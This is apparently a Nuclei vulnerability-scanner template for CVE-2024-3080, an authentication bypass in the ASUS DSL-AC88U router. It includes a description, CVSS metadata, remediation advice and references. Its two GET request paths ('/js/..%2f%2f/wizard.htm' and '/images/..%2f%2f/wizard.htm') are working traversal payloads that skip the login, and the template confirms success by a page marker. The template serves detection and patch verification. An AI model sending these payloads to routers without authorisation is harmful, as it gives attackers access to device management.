A vulnerability in the ASUS DSL-AC88U router permits unauthorized individuals to bypass authentication.When adding "/js/..%2f%2f" or "/images/..%2f%2e" to the requested URL, it will be recognized as passing the authentication.This vulnerability is part of a broader authentication bypass issue affecting multiple ASUS router models.
PoC代码[已公开]
id: CVE-2024-3080
info:
name: ASUS DSL-AC88U - Authentication Bypass
author: ritikchaddha
severity: critical
description: |
A vulnerability in the ASUS DSL-AC88U router permits unauthorized individuals to bypass authentication.When adding "/js/..%2f%2f" or "/images/..%2f%2e" to the requested URL, it will be recognized as passing the authentication.This vulnerability is part of a broader authentication bypass issue affecting multiple ASUS router models.
remediation: |
Update the router firmware to the latest version.Implement network segmentation to restrict access to the router's management interface.
reference:
- https://github.com/Shuanunio/CVE_Requests/blob/main/ASUS/DSL-AC88U/ACL%20bypass%20Vulnerability%20in%20ASUS%20DSL-AC88U.md
- https://thehackernews.com/2024/06/asus-patches-critical-authentication.html
- https://nvd.nist.gov/vuln/detail/cve-2024-3080
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-3080
cwe-id: CWE-287
epss-score: 0.43513
epss-percentile: 0.97433
metadata:
max-request: 2
tags: cve,cve2024,asus,router,auth-bypass,lfi,vkev
http:
- method: GET
path:
- "{{BaseURL}}/js/..%2f%2f/wizard.htm"
- "{{BaseURL}}/images/..%2f%2f/wizard.htm"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "show_wizardmenu();"
- type: status
status:
- 200
# digest: 490a00463044022017b58da096f3dca7411a2c820a492c687c1b7a8c8e1c75b22ef9266ced66add50220020a2ef038e69b38218484cd3f5a24dd59e80f96c06b03c4e4fcae57296ad2fe:922c64590222798bb761d5b6d8e72950